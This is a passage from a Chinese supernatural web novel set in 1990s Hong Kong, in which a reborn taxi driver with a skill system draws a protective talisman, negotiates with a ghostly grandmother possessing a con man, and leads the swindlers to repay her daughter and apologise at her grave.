“喏,好东西。正宗狼毫,老匠人做的,画符请神,效果顶呱呱。”
秃头老板推销道,“算你便宜点,连同朱砂黄纸,一共两百块。”
古德嘴角抽了抽,这秃子还真敢开价。
不过他也没多计较,他现在急需这些东西。
他检查了一下,朱砂成色不错,黄纸也正宗,那支符笔确实手感很好。
他痛快地付了钱。
想了想,他又顺便买了一些民俗里常说的驱邪东西:一小袋糯米,一包粗盐,还有一小串小五帝钱。
不过是仿制的,真的他也买不起,也别问为什么纸扎铺里会有这些东西卖。
这东西纸扎铺还真就有的卖。
秃头老板一边给他打包,一边貌似随意地问了一句:“后生仔,买这些东西,家里有事?”
古德敷衍道:“没事,图个心安。”
秃头老板哦了一声,没再多问,只是那双小眼睛看着古德拎着东西出门上车的背影,眼神里多了点若有所思的味道。
古德提着东西回到车上,手还没摸到钥匙,眉头就皱了起来。
刚才在纸扎铺里的那个秃头老板,怎么看都像极了前世荧幕上的某个明星。
“靠,不会吧……真要是那位,怎么会混到深水埗开纸扎铺?他不该在内地发明‘要你命三千’吗!”
古德一边发动引擎,一边忍不住腹诽。
车子穿过昏暗街道,沿途冷风灌进来,吹得纸袋里的糯米沙沙作响,朱砂盒子随着车身颠簸发出轻微的碰撞声,像心头的鼓点。
古德暗暗摇头,把那些离谱的联想甩开。
不知不觉,车停在了阴阳路37号楼下。
古德下车,抬头看着眼前这栋有些年头的居民楼。
外墙斑驳脱落,楼道昏暗,铁门上的漆斑早被岁月剥蚀,连楼牌子都被风吹得摇摇欲坠。
他心里对“阴阳路”这三个字有了全新的、深刻的理解。
以前只觉得这名字有点怪,但没往心里去,毕竟住了这么多年屁事没有。
可现在不同了。
结合自己对《阴阳路》系列电影的印象,再想想今天的遭遇,他忍不住觉得后脖颈阵阵发凉。
好家伙,自己这是直接住进灵异事件高发区的大本营了啊!
怪不得当初这房子这么便宜,估计除了他这个愣头青,也没几个人敢买。
“也不知道是该说自己倒霉还是幸运。”
古德苦笑一声,“倒霉是买了这鬼地方的房子,幸运是……住了这么多年居然没真遇到过鬼?”
摇摇头,他把这些乱七八糟的想法甩开,提着东西上了楼。
回到家,他先把买来的东西放好。
然后迫不及待地打开系统面板,找到技能树里“山”术分支下的【辟邪符】。
后面的“+”号果然是亮着的。
他不再犹豫,集中意念,在那个“+”号上点了一下。
【消耗10点,辟邪符提升至LV1(入门)】
瞬间,一股明悟涌上心头。
关于辟邪符的各种知识、技巧、关窍,如同潮水般涌入他的脑海,并且迅速融会贯通。
他这才明白,自己前世画的
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那些所谓的“辟邪符”,根本就是鬼画符,徒有其形,未得其神!
真正的画符,讲究极多。
需要净手净口净心,存思观想,调动自身精气神,引气灌入笔端,一笔一划皆有法度,不能有丝毫错漏中断。
所谓“画符不知窍,反惹鬼神笑;画符若知窍,惊得鬼神叫”。
在没有法力的情况下,画符消耗的就是人体的精气神。
古德不知道自己现在这身体,能画几张。
他决定先试试。
他先去卫生间仔细洗了手和脸,算是简单的净手净口。
然后走进书房,他决定把这间小屋当成以后的画符静修之地。
他把书桌清理干净,铺上一张黄表纸,将朱砂用少量清水调和,又拿出一根缝衣针,对着自己右手食指比划了半天,为什么没有像电影里咬破手指,是因为古德怕疼。
而且有针可以用,也不用那么傻用嘴咬破手指,疼**不说,还不卫生。
他暗暗腹诽,用针尖轻轻刺了一下,挤出一小滴血珠,滴入朱砂中,搅拌均匀。
一切准备就绪。他深吸一口气,摒除杂念,回想着LV1辟邪符传授的要领,提起那支狼毫符笔,蘸饱了混合着自己血液的朱砂墨。
落笔的瞬间,他感觉自己的精神似乎集中到了极点,手臂沉稳有力,笔尖划过黄纸,发出沙沙的轻响。
他能感觉到,随着符文的勾勒,自己身体里似乎有一股微热的气息被缓缓抽离,顺着笔尖融入了那红色的线条之中。
整个过程不能停顿,必须一气呵成。
当最后一道符胆完成时,古德感觉额头微微见汗,手臂有些发酸,精神上也涌起一股明显的疲惫感,就像是连续干了两个小时的体力活。
“成了!”
他看着桌上那张笔画流畅、隐隐似乎有微光流转(也许是错觉)的辟邪符,心里一阵激动。
这感觉,和前世鬼画符时完全不同!
他仔细体会了一下身体的消耗,大概相当于慢跑了两三公里,或者熬了半个通宵。
有点累,但睡一觉,明天多吃两碗饭应该就能补回来。
这个消耗还在可接受范围内。
在修出法力之前,看来就得用这种画法了。
他拿起那张新鲜出炉的辟邪符,越看越满意,忍不住自夸起来:
“啧啧,看看这线条,这神韵!不愧是我,就算重生了也这么牛逼!”
古德忽略了是因为系统加点才能达到的效果。
正当他陶醉于自己的“杰作”时,别在腰间的BB机突然“哔哔哔”地响了起来,打破了夜晚的宁静。
第7章 跟鬼婆的谈判
古德掏出他那台摩托罗拉BB机,屏幕上的荧光显示着一个陌生的号码,后面还跟着“急”和“复电”的代码。
他走到客厅,拿起那个老式的拨盘电话,按照号码回了过去。
电话几乎是瞬间就被接了起来,听筒里立刻传来眼镜仔带着哭腔、语无伦次的尖叫:
“大师!古大师!救命啊!救命!我们错了!我们真的知道错了!钱我们一定还!求你快来救救我们!我们给你五千!不,五千港币!只要你能来!”
古德把听筒拿得离耳朵远了点。
五千港币?
他通过电影知道这三个家伙穷得叮当响,这估计是他们能掏出来的最大数目了,看来是真被吓破胆了。
“行,把地址报给我。”
古德言简意赅。
眼镜仔赶紧报出一个地址,就在九龙城寨附近的一栋旧唐楼里。
古德记下后,淡淡地说:“行了,等着。我过去跟那位婆婆谈谈。”
挂了电话,古德并没有立刻出发。
他先下楼,在街边还没打烊的水果摊买了些苹果和橙子,又去烧腊店切了一盘叉烧,想了想,还拎了一只白切鸡。
接着,他特意绕到另一家看起来更正规些的香烛铺,挑了一把上好的清香。
清香敬神,这是沟通的基础,不能马虎。
开车前往目的地的路上,古德心里也在盘算。
虽然自己现在画出了一张辟邪符,胆子壮了不少,但毕竟事先答应了鬼婆调解却没完全搞定,算是理亏。
能用语言解决,自然最好不过。
大家都是文明人,能动口尽量别动手。
按照地址,他找到了一栋外墙斑驳、楼道昏暗的旧楼。
空气中弥漫着一股潮湿和饭菜混合的味道。
他拎着大包小包,爬上三楼,找到门牌号,轻轻敲了敲门。
门几乎是立刻就被拉开了一条缝,露出墨镜男那张惨白惊恐的脸。
他一看到古德,就像看到了救世主,猛地拉开门,声音带着哭腔:“大师!你终于来了!快!快救救我们!肾亏……肾亏他疯了!”
古德侧身挤进门。
房间不大,家具简陋,地上扔着些乱七八糟的东西,显然刚才经过一番折腾。
只见那个寸头男肾亏,正拿着一把明晃晃的菜刀,脸上挂着一种极其僵硬诡异的笑容,正慢悠悠地追着满屋子乱窜、吓得屁滚尿流的眼镜仔。
眼镜仔腿都软了,连滚带爬,嘴里发出不成调的哀嚎。
但在古德开启的阴阳眼视角里,看到的却是另一幅景象。
寸头男肾亏的双脚脚尖死死地踮着,后脚跟离地老高。
一个模糊的、穿着碎花衫的老太太身影,正紧贴在他背后,她的两只脚,正好卡在肾亏的脚后跟下面。
就像是她在用脚尖顶着肾亏的脚,操纵木偶一样控制着他的行动,驱使他去追砍眼镜仔,脸上还带着一种猫捉老鼠般的戏谑表情。
“救……救命啊大师!”
墨镜男躲在古德身后,牙齿打颤。
古德皱了皱眉,对墨镜男说:“你看他的脚。”
“脚?脚怎么了?”墨镜男一愣,下意识看去。
“脚尖踮起,脚跟不落地。”
古德用平静的语气解释,“老话讲,人走路脚踩实地,接的是地气。鬼魂阴物没有实体,脚不沾地,是飘着的。
被它们上身操控的人,往往也会被带得脚尖踮起,脚跟悬空,这叫‘鬼垫脚’。你刚才是不是也这样?”
墨镜男一听,脸色唰的一下变得更白了,浑身猛地一颤。
他回想起来,自己刚才失去意识前,好像确实感觉脚后跟一凉,然后整个人就什么都不知道了。
他惊恐地点头,看古德的眼神更加信服和依赖了。
那附在肾亏身上的鬼婆也注意到了古德的到来,她斜眼瞥了古德一下,鼻子里似乎发出了一声不满的轻哼,然后继续操控着肾亏去追眼镜仔。
明显是对古德之前没能让她如愿感到不爽,想给他来个下马威。
古德心里叹了口气,这老太太脾气还不小。
不过他也看出来了,鬼婆更多是在吓唬和戏弄他们,真要想下**,眼镜仔早就躺下了。
她还是有善念和分寸的。
“别慌。”古德对瑟瑟发抖的墨镜男说,“去找个小桌子或者凳子过来,干净点的。”
墨镜男赶紧照办,从墙角拖过来一个矮小的茶几。
古德把带来的水果、叉烧、白切鸡一一摆上,又拿出那个在路上用矿泉水瓶装来的沙子,倒进一个空杯子里,插上三根刚买的清香。
他让墨镜男跪在茶几前,然后对还在上演“追杀戏码”的那边扬了扬下巴:“婆婆你也别玩了。咱们先歇
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会儿,吃点东西,收点香火,我们好好谈谈,行不行?”
说着,他划燃火柴,点燃了那三根清香。
一股清幽的香火气味缓缓散开,似乎驱散了一些屋里的阴冷和诡异。
鬼婆的动作顿了一下。
她扭头看了看那袅袅升起的香烟,又看了看桌上还算丰盛的贡品,僵硬诡异的脸色稍微缓和了一些。
她似乎思考了一下,然后身影一晃,从寸头男肾亏的背后脱离出来。
肾亏就像瞬间被抽走了所有力气,手里的菜刀“哐当”一声掉在地上,整个人眼珠一翻,软绵绵地瘫倒下去,呼呼大睡起来,还打起了鼾。
眼镜仔瘫在墙角,吓得都快尿裤子了,看到这一幕,才敢大口喘气。
鬼婆飘到茶几前,虚幻的身影对着那三柱清香深深吸了一口气,又贪婪地吸取着食物上飘散出的无形精气。
过了好一会儿,她才满足地叹了口气,转向古德,语气好了不少:“后生仔,算你还有点诚意。我知道你是好心,但这三个衰仔太可恶了。
这次就给你个面子,先到这里。但我希望,你答应我的事,这次能说到做到。”
古德脸上露出诚恳的笑容,顺势拍了拍胸口,那里贴身放着他刚画好的辟邪符,纸张的轮廓微微凸显了一下:
“婆婆您放心,他们被您这么一吓,魂都快没了,哪还有胆子藏钱?钱肯定一分不少地还给您女儿,道歉也一定到位。不过……”
他话锋一转,语气也变得稍微认真了些,“我也答应了他们,要把这事彻底了结。希望事情办妥之后,您也别再惦记着他们了,安心上路。不然我这中间人,也很难做啊。”
鬼婆的目光敏锐地捕捉到了古德胸前那微微凸起的符箓轮廓,她的眼神猛地一凝,闪过一丝惊讶和忌惮,但很快又恢复了正常。
她深深地看了古德一眼,脸上露出一个意味不明的、阴森森的笑容:“好后生仔……有点意思。行,只要事情办好,我老婆子说话算话,绝不会再缠着他们。”
说完,她的身影再次变淡,如同融入空气的墨迹,最终彻底消失不见。
房间里那股无形的压力和阴冷感也随之散去,只留下满地狼藉,以及三个瘫软在地、惊魂未定、如同刚从水里捞出来的衰仔。
空气中,只剩下清香燃烧后淡淡的余味。
第8章 就是这么简单!
房间里一时间安静下来,只剩下角落里寸头男肾亏沉重的鼾声,以及眼镜仔和墨镜男尚未平复的粗重喘息。
空气中还残留着檀香的余味,混合着汗水和恐惧的气息,显得有些沉闷。
古德看着这三个瘫软在地、惊魂未定的家伙,知道他们需要点时间回魂。
他没急着说话,慢悠悠地走到那张看起来还算干净的旧沙发前,拍了拍上面的灰尘,坐了下来。
他从衬衫口袋里掏出一包皱巴巴的“万宝路”,抽出一根叼在嘴上。
这习惯是原主留下的,前世他是不抽烟的,但开出租车熬夜提神,久而久之就学会了。
他划燃火柴,橘黄色的火苗跳动了一下,点燃了烟丝。
他深吸了一口,辛辣的烟雾涌入肺部,再缓缓吐出,白色的烟雾在昏暗的灯光下袅袅散开,暂时驱散了一些空气中的不安。
这口烟似乎也给了那三人一点勇气。
墨镜男和眼镜仔互相搀扶着,哆哆嗦嗦地从地上爬起来。
他们看着坐在沙发上吞云吐雾、一脸平静的古德,眼神里充满了敬畏和后怕。
两人拘谨地挪到古德面前,像是等待老师训话的小学生。
“大……大师,”墨镜男的声音还有些发颤,小心翼翼地开口,“接下来……我们该怎么办?”
古德没立刻回答。
他又吸了一口烟,然后慢条斯理地伸出右手,将中指、食指和拇指捏在一起,熟练地搓了搓。
动作意思很明显——给钱。
刚才情况紧急,他可以先垫钱买贡品。
现在事情暂时告一段落,说好的五千港币报酬,可不能忘了。
亲兄弟明算账,驱邪救人也是要成本的。
墨镜男和眼镜仔看到这个手势,先是一愣,随即脸上露出讪讪的笑容,连忙点头:“哦哦!明白!明白!大师您稍等!稍等!”
两人赶紧退后几步,开始在自己身上摸索。
墨镜男一边掏着口袋,一边对还瘫着的寸头男喊道:“肾亏!别睡了!快!把钱拿出来!”
眼镜仔也着急地补充:“对对对!快把你们的私房钱都拿出来!别藏了!”
接着三个人又手忙脚乱地回到各自狭窄的房间,传来一阵翻箱倒柜、拆床板抠砖头的声音。
过了好一会儿,他们才捧着一堆零零散散的钞票重新聚拢过来。
有五百、一百的大钞,更多的是五十、二十,甚至十块的散票,皱巴巴的,还带着汗味。
他们小心翼翼地把这堆钱整理好,递到古德面前。
墨镜男陪着笑:“大师,您点点,五千块,一分不少。这是我们全部家当了……”
古德把烟头在茶几上的一个空罐头盒里摁灭,接过那叠厚厚的、面额不一的钞票,不紧不慢地清点起来。
点完后,他满意地点点头,将钱卷好,塞进了裤兜里。
鼓鼓囊囊的口袋让他心情好了不少。
“接下来.....”古德这才开口,语气平和了许多,“自然是赔礼道歉。第一,把你们骗阿婆女儿的钱,一分不少地还给人家。
第二,去买点香烛纸钱,水果贡品,明天我带你们去阿婆的坟前,好好清理一下,诚心诚意地道个歉。”
墨镜男三人听了,面面相觑,脸上露出难以置信的表情。
“就……就这样?”眼镜仔怯生生地问,“不用做什么法事?或者……画个符镇一下?”
古德点了点头,语气肯定:“当然了,就是这样。所谓冤有头债有主,阿婆要的也就是个理。不过....”
他话锋一转,拍了拍装钱的口袋,“收了你们的钱,我会负责到底,明天陪你们一起把这事解决了,保证她不再来找你们麻烦。”
三人听到这话,这才长长地松了一口气,悬着的心总算放下了一大半。
墨镜男态度更加恭敬了,连忙自我介绍:“古大师,这次真是多谢您了!我叫陈大昌,平时……平时就是个混饭吃的南无佬,给人做做白事道场。”
他指了指刚刚被摇醒、还一脸懵懂的寸头男,“这是肾亏,刘青,在万安殡仪馆上班。”
又指指眼镜仔,“这是百搭,白达,也是殡仪馆的。今晚要不是您,我们可就……”
他们知道古德的名字,因为出租车驾驶座旁边就挂着司机的姓名牌。
古德笑了笑,摆摆手:“我叫古德,你们叫我名字就行。我也不是什么大师,就是比普通人多了那么亿点点本事……嗯,也就能看到好兄弟还有和他们沟通的小本事而已。”
他神情平淡,说得轻描淡写。
虽然他也是刚接触到灵异事件。
现在事情既然谈妥,报酬也收了,古德便起身准备离开。
“既然暂时没事了,那我就先回去了。明天上午我来找你们,你们带我去找阿婆的女儿。”
一听古德要走,陈大昌三人顿时又紧张起来,刚刚放松的表情瞬间消失。
“别啊!古大师!”
陈大昌几乎要扑上来抱住古德的腿,“您……您千万别走!您走了,万一……万一她半夜又回来了怎么办?
求求您了,
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晚上就在我们这将就一宿吧!你睡床,我们打地铺都行啊!”
肾亏和百搭也在一旁拼命点头,眼巴巴地看着古德,仿佛他是唯一的救命稻草。
古德看着这三个大男人吓得像鹌鹑一样,真是哭笑不得。
他可没兴趣跟三个浑身汗臭的糙汉子挤在这破旧的小屋里过夜,他又不是成都来的。
但看他们这副样子,如果不给他们点实在的保障,他们肯定能抱着他的大腿哭一晚上。
古德叹了口气,从贴身口袋里掏出那张他亲手画的、还带着点体温的辟邪符。
“行了行了,别嚎了。”
他把符纸递给陈大昌,“这张辟邪符送你们了,算在刚才那五千块里面。把它贴在大门内侧的门框上,有它在,一般的小鬼小怪进不了你们的门。”
陈大昌三人顿时面露惊喜,如同接到了救命仙丹。
“真的吗?谢谢大师!谢谢古大师!”
陈大昌小心翼翼地用双手接过那张朱砂绘制的黄符,仿佛捧着什么稀世珍宝。
但惊喜过后,三人看着窗外漆黑的夜色,心里还是有点发毛。
肾亏搓着手,怯怯地问:“大师……您今晚真……真不能留下吗?我们打地铺,您睡床!”
古德没好气地翻了个白眼。
这话说的,要是三个美女求他留宿,他或许还会考虑一下。
三个大老爷们?算了算了。
无奈之下,他只好拿出刚才买东西时顺便带来的一小袋糯米。
他让三人把客厅中间清理出一块空地,然后亲手将雪白的糯米仔细地洒在地上,围成了一个勉强能容纳三人躺下的大圆圈。
“今晚你们就睡在这个糯米圈里,”古德拍了拍手,指着地上的圈子,语气笃定地说,“保证你们平安无事,什么脏东西都近不了身。”
看到这个传说中的驱邪糯米圈,陈大昌三人才彻底放下心来,脸上露出了安心的笑容,千恩万谢:“多谢大师!多谢大师!”
古德这才得以脱身。
走到门口,陈大昌还不忘扒着门框叮嘱:“古大师您慢走!明天早点来找我们啊!”
古德头也没回,只是挥了挥手,带上了房门。
走在昏暗寂静的楼道里,古德嘴角勾起一丝不易察觉的笑意。
有件事他没告诉那三个活宝:其实那张辟邪符的效果足够了。
他洒那圈糯米,纯粹是为了给他们一点心理安慰,让他们能安心睡个觉而已。
有些时候,让人安心的不是法术本身,而是相信法术有用的那颗心。
第9章 新人物登场
古德回到家,强撑着精神又画了一张辟邪符。
这次画完,他感觉像是刚跑完一场马拉松,浑身骨头都软了,眼皮重得抬不起来。
他草草洗漱了一下,几乎是沾着枕头就沉沉睡去。
第二天清晨,他是被床头柜上BB机急促的“哔哔”声吵醒的。
他迷迷糊糊地睁开眼,抓过BB机一看,才早上七点不到。
屏幕上闪烁着陈大昌家的电话号码,后面跟着“急”的代码。
“这三个家伙……”
古德嘟囔了一句,估计他们一晚上都没怎么合眼,天一亮就急着催他了。
他挣扎着坐起身,伸了个大大的懒腰,浑身的骨头发出轻微的咔吧声。
精神倒是恢复得不错,就是肚子饿得咕咕直叫,前胸贴后背的感觉。
消耗精气神画符,看来对体能的消耗是真不小。
他赶紧下床,趿拉着拖鞋走进狭小的厨房。
翻箱倒柜,找出半包挂面,又摸出两个鸡蛋和一小把蔫了吧唧的小白菜。
开火,烧水,下面条,打鸡蛋,扔青菜。
动作麻利,没一会儿,一大碗热气腾腾的鸡蛋青菜面就出锅了。
他端着碗坐到小饭桌前,也顾不上烫,呼噜呼噜地大口吃起来。
一碗下肚,感觉胃里才垫了个底。
他又起身,把锅里剩下的面条全捞进碗里,连汤带水,又干下去一大碗。
两碗面条下肚,那股火烧火燎的饥饿感才总算平息下去。
“呼……”古德满足地摸了摸肚子,打了个饱嗝,“看来以后画符,得提前备好宵夜才行。”
他想起昨天准备好的东西。
走到客厅角落,拿起一个半旧的深蓝色帆布挎包。
这是他翻箱倒柜找出来的,原主以前跑长途时用的。
他把昨晚画好的一张辟邪符小心地用油纸包好放进去,又塞进去一小袋糯米,一小包粗盐,还有那串仿的小五帝钱。
想了想,又把那支狼毫符笔和一小盒朱砂也放了进去。
最后,还塞进去一瓶矿泉水和两个早上顺手在楼下买的菠萝包。
谁知道今天要折腾到什么时候。
收拾妥当,他拎起挎包出门。
下楼时,清晨的阳光已经洒满了阴阳路狭窄的街道,空气中飘荡着早茶点心的香气和淡淡的汽车尾气味道。
他发动他那辆红色的皇冠出租车,朝着陈大昌他们的住处开去。
到了地方,古德把车停在路边。
远远就看到陈大昌、肾亏和百搭三人已经在楼下等着了,一个个顶着黑眼圈,神情憔悴,显然昨晚没睡好。
不过,他们身边还多了一个人。
那是一个身材高大、穿着合体西装的男人,约莫三十岁上下,头发梳得一丝不苟,面容英俊,眉宇间带着一股沉稳干练的气质。
最让古德感到意外的是,这男人的长相,和他前世记忆里那个叫古乐的明星,尤其是后来晒黑后的成熟版,简直有七八分相似!
简称“黑古”版。
古德刚把车停稳,推门下车。
那个“黑古”版的男人就快步迎了上来,脸上带着得体的微笑,主动伸出手:
“你好,古先生是吧?我叫郑力,是陈大昌他们的朋友,也在万安殡仪馆工作。”
他的声音低沉有力,带着一种让人信服的感觉。
古德和他握了握手,感觉对方的手掌宽厚有力。
“你好,郑先生。我是古德。”
他心中了然,郑力在电影里是殡仪馆营业主任,在各个地方找业务。
特别是医院的急救门口。
估计是陈大昌昨晚跟郑力说了自己的“光辉事迹”,这位殡仪馆的主任大早上过来想看看他的本事,外加兼拓展业务来的。
毕竟干他们这行的,或多或少都遇到过一些灵异事件。
要遇到真能处理灵异事件的高人,不是那种招摇撞骗的骗子的话,那可是稀缺资源。
“古先生别见怪,”郑力似乎看出了古德的想法,笑容不变,解释道,“大昌他们昨晚的事,我都听说了。这事是他们做得不地道,该罚。
我也是好奇,想认识一下古先生这样的能人。以后馆里或者朋友遇到什么……棘手的事情,也好有个门路请教。”
话说得漂亮,但古德心里门清。
他笑了笑,没点破,只是指了指自己的出租车:“上车吧,地方不近。”
陈大昌三人如蒙大赦,赶紧拉开车门往后座挤。
郑力则很自然地拉开了副驾驶的门,坐了进去。
古德发动车子,汇入早高峰的车流。
计价器开始哒哒哒地跳动。
他透过后视镜看了一眼后座挤成一团的三人,又瞥了一眼旁边气定神闲的郑力,慢悠悠地补充了一句:
“对了,虽然我收了你们的调解费。但这趟出租车的车费,你们还是要出的。亲兄弟明算账嘛。”
后座三人顿时发出一阵哀嚎:“啊?大师!我们……我们真没钱了!昨晚都给您了!”
郑力微微一笑,从西装内袋里掏出一个精致的鳄鱼皮钱包,抽出一张五百元港币,轻轻放在仪表盘上。
“古先生放心,今天的车费,算我的。”
古德眼睛一亮,给郑力比了个大拇指:“郑先生大气!”
这一波,调解费到手,出租车费到手,最关键的是,载着乘客跑这一趟,公里点数又能涨不少!
简直是三赢!
他赢三次!
车子一路行驶,穿行在九十年代香江的街景中。
从拥挤喧嚣的深水埗旧楼区,驶过繁华的旺角街头,再穿过略显杂乱的九龙城寨边缘地带。
道路两旁是林立的招牌、密集的商铺、行色匆匆的路人,还有叮叮当当驶过的双层电车。阳光透过车窗洒进来,带着夏日的热度。
大约半个多小时后,车子停在了一栋外墙斑驳、显得十分破旧的唐楼前。
这里的环境比陈大昌他们住的地方还要差一些,空气中弥漫着一种潮湿和垃圾混
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合的淡淡气味。
一个看起来三十多岁、面容有些憔悴,但是穿着时尚的女人,已经等在楼下。
她看到陈大昌三人下车,脸上还带着茫然的表情。
陈大昌三人低着头,满脸羞愧地走到张小姐面前。
陈大昌从怀里掏出一个厚厚的信封,双手递了过去,声音带着真诚:“张小姐,对……对不起!是我们鬼迷心窍!
这是阿婆的钱,一分不少,都在这里了!我们……我们不是人!求你原谅!”
肾亏和百搭也在一旁连连鞠躬道歉。
张小姐看着那个信封,又看看三人悔恨的样子,一脸疑惑的问:
“昨天我妈真找你们了?”
她颤抖着手接过信封,拿在手里,一脸的不可置信。
她昨天被骗后,也就在她妈的灵堂前这么随口说了一句,让她妈去找这三个骗子,不要怪她。
没想到她妈真就这么显灵了。
古德和郑力站在车边,静静地看着这一幕。
郑力轻轻叹了口气,摇了摇头。
道歉和还钱的过程很快。
张小姐虽然疑惑,但本性善良,看到三人诚心悔过,加上钱也拿回来了,心里的怨恨也消了大半。
接下来,就是去阿婆的墓地了。
阿婆葬在很偏远的一个老式公墓里,路途遥远。
出租车后排挤四个人显然不行。
陈大昌三人商量了一下,最后决定让百搭去找他女朋友借辆摩托车,或者坐巴士过去。这样后座就能空出来给张小姐坐。
很快,百搭拦了一辆路过的红色小巴,匆匆走了。
古德让张小姐坐到了副驾驶的位置,郑力和陈大昌、肾亏坐到了后座。
车子再次启动,这次的目的地更远。
穿过繁忙的市区,驶入狮子山隧道,当车子从隧道另一头钻出来时,眼前的景象豁然开朗。
高楼大厦渐渐被抛在身后,取而代之的是起伏的山峦和零星的村落。
道路也由宽阔的柏油路变成了狭窄的水泥路,最后甚至变成了坑坑洼洼的土路。
车子颠簸着,沿着盘山小路向上爬升。
路两旁的树木越来越茂密,人烟也越来越稀少。
空气中弥漫着泥土和植物的清新气息,但同时也带着一种远离尘嚣的寂静和……荒凉感。
开了很久,终于在一个几乎看不到人烟的山坳里,看到了那片老旧的公墓。
墓园的铁门锈迹斑斑,半开着。
里面的墓碑大多陈旧,有些已经歪斜,上面爬满了青苔和藤蔓。
杂草在墓碑间肆意生长,几乎淹没了狭窄的小径。
整个墓园显得格外寂静,只有风吹过树叶的沙沙声和偶尔几声鸟鸣。
古德把车停在墓园门口唯一一小块还算平整的空地上。
众人下车,看着眼前这片荒芜寂静的墓地,心情都不由自主地变得沉重起来。
阳光透过稀疏的树叶洒下斑驳的光影,非但没有带来暖意,反而增添了几分萧索。
第10章 公里点数大丰收
古德看着眼前这片荒芜寂静的墓地,杂草丛生,墓碑东倒西歪,显然很多墓碑很久都没人打理了。
他转头对张小姐说:“张小姐,麻烦你带路吧,找到阿婆的墓。”
张小姐点点头,脸上带着一丝愧疚和茫然。
她这些年一直在国外做生意,很少回来,对母亲墓地的具体位置已经有些模糊了。
她凭着记忆,小心翼翼地拨开半人高的杂草,深一脚浅一脚地在墓地里穿行。
陈大昌、肾亏和郑力跟在后面。
脚下的路很难走,泥土松软,碎石硌脚。
四周静悄悄的,只有风吹过草丛的沙沙声,还有他们踩断枯枝的轻微脆响。
阳光被茂密的树冠遮挡,投下斑驳的光影,让这片荒凉的墓园显得更加阴森。
“啊!”
张小姐突然发出一声短促的尖叫,猛地后退一步,差点摔倒。
她脸色煞白,指着草丛深处一个歪倒的陶罐。
那是一个深褐色的陶罐,罐口破裂,露出里面灰白色的、形状不规则的骨头。
旁边还有几个类似的陶罐,有的完好,有的也破损了。
“是金斗罂(黄金瓮)。”
陈大昌见怪不怪地解释了一句,语气平淡,“放骨头骨灰的,年头久了没人管,破了很正常。”
肾亏也点点头,殡仪馆工作,这些东西见多了。
张小姐捂着胸口,惊魂未定,脸色依旧难看。
郑力则微微皱眉,目光扫过那些破损的陶罐,眼神里带着一丝职业性的审视。
在张小姐磕磕绊绊的带领下,一行人东绕西绕,总算在墓园深处一个相对僻静的角落停了下来。
张小姐看着眼前一块还算完整的墓碑,脸上露出惊喜和愧疚交织的神情:“找到了!就是这里!妈……我来看你了……”
她声音略微哽咽,眼圈突然红了。
古德走上前。
墓碑上刻着“先妣张门王氏之墓”,字迹有些模糊。
他注意到墓碑顶端和两侧,不知被谁用粗糙的红绳密密麻麻地缠了好几圈,像捆粽子一样。
红绳在潮湿的环境下已经有些褪色发黑,但依旧显眼。
“怪不得阿婆说脖子不舒服……”古德低声嘀咕了一句。
这红绳缠碑,在民俗里可不是什么好兆头,往往意味着束缚或者怨气。
他伸出手,动作麻利地将那些缠绕的红绳一圈圈解了下来。
红绳入手有些湿冷滑腻,带着一股淡淡的霉味。
解下来的红绳被他随手扔在一边的草丛里。
“陈大昌,肾亏,你们俩把墓周围的杂草清理一下,再给坟头添点新土。”古德吩咐道。
“好的,大师!”
陈大昌和肾亏连忙应声,从带来的工具袋里拿出小铲子和镰刀,开始干活。
郑力也挽起袖子帮忙。
古德则把带来的水果贡品——苹果、橙子、还有一块烧肉——整齐地摆在墓碑前的石板上。
然后拿出三根清香,用火柴点燃。
青烟袅袅升起,带着淡淡的檀香味,在这寂静的墓园里显得格外肃穆。
“好了,都过来。”古德招呼道。
陈大昌、肾亏和郑力停下手中的活,和张小姐一起走到墓碑前。
四人并排站着。
“鞠躬,道歉。”
古德的声音不大,但很清晰。
陈大昌三人立刻对着墓碑深深鞠躬,态度前所未有的诚恳:“阿婆!对不起!是我们错了!
我们不该骗张小姐的钱!我们给您赔罪了!您大人有大量,原谅我们吧!”
张小姐也含着泪,对着母亲的墓碑哽咽道:“妈……女儿不孝……这么久才来看您……对不起……”
等他们鞠完躬,古德看向张小姐,语气认真地说道:
“张小姐,你母亲现在还没去投胎。你这么久不来祭拜,确实是不孝。不过阿婆心地好,她没怪你,只希望你能过得好。
但以后逢年过节,清明重阳,你最好还是抽空来看看她,给她烧点纸衣纸钱,让她在下面也过得宽裕些。”
张小姐连连点头,抹着眼泪问:“古先生,我……我有时候生意忙,人不在香港,回不来怎么办?”
古德想了想,说道:“人不在也没关系。你可以找信得过的亲戚朋友,或者……”
他看了一眼旁边的郑力,“找像郑先生他们殡仪馆这样专业的地方,花钱请人代烧。不过要记住,你得用黄纸亲笔写一封信,写上你想对母亲说的话,再写上你的名字和生辰八字,寄过来。
代烧的人要在你母亲坟前,一边烧纸钱纸衣,一边把这封信也烧掉。这样心意才能传到。”
张小姐听得非常认真,若有所思地点点头:“我明白了,谢谢古先生指点。”
接着,张小姐拿起带来的火盆和一大叠纸钱,按照古德的指点,走到旁边一处相对空旷的地方,开始烧纸钱。
火光跳跃,纸灰随着热气打着旋儿飘向空中。
就在纸钱燃烧的烟雾升腾而起时,古德眼角的余光瞥见墓碑旁边,那个穿着碎花衫的阿婆身影一闪而逝,对着他微微点了点头,无声地说了一句:“多谢你,后生仔。”
然后便彻底消失了。
古德嘴角下意识地抽动了一下。
他猛地想起来,在这个港综灵异世界里,鬼魂好像没有严格的“白天不能出现”的限制!
他假装不经意地环顾四周,目光扫过周围的墓碑和草丛。
这一看,让他心里咯噔一下。
只见不少墓碑后面,或者半人高的杂草丛里,影影绰绰地冒出一些模糊的身影!
有的只露出半个脑袋,有的探出半个身子,还有的干脆就坐在自己墓碑顶上!
这些身影大多面目模糊,穿着不同年代的服饰,都齐刷刷地朝着他们这边“看”过来!
那场面,诡异又滑稽,像是一群看热闹的街坊邻居。
古德赶紧收回目光,装作若无其事的样子。
他心里清楚,这些大多是些没什么道行的普通游魂野鬼,或者地缚灵。
只要你不主动招惹他们,不让他们觉得你有威胁或者有好处可图,他们一般也不会来找你麻烦。
现在这情景,纯粹就是……看热闹。
看来不管是人是鬼,爱看热闹这个天性,真是刻在
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灵魂里的。
古德想起前世听过的一个笑话:一个植物人被接回家休养,整天躺在床上毫无反应。
结果有一天楼下邻居吵架,动静特别大。
奇迹发生了,那植物人的耳朵动了动,手指头也动了动,最后竟然猛地睁开眼睛,挣扎着坐起来,爬到窗边去看热闹了……
虽然只是个笑话,但道理好像差不多?
等张小姐烧完纸钱,陈大昌他们也清理好了墓地,添了新土。
整个仪式算是完成了。
“行了,事情办完了,回去吧。”古德招呼大家。
